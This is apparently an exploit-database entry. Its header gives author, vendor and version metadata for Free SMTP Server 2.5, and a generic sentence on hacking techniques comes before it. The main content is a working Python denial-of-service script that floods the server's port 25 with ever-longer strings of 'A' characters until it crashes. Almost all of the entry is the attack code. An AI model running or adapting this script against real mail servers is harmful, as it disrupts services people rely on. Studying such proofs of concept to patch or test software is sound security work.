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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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#Exploit Title: Free SMTP Server - Local Denial of Service Crash (PoC)
# Date: February 3, 2009
# Exploit Author: Metin Kandemir (kandemir)
# Vendor Homepage: http://www.softstack.com/freesmtp.html
# Software Link: https://free-smtp-server.en.uptodown.com/windows/download
# Version: 2.5
# Tested on: Windows 7 Service Pack 1 x64
# Software Description : Free SMTP server program to send emails directly from PC.
# ==================================================================
# The SMTP Server will crash when this code is run on localhost. 

import socket

a=1
buffer = ["A"]
while a <= 20000:
        a = a+1
        buffer.append("A"*a)


for string in buffer:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        connect =  s.connect(('127.0.0.1',25))
        s.send(string)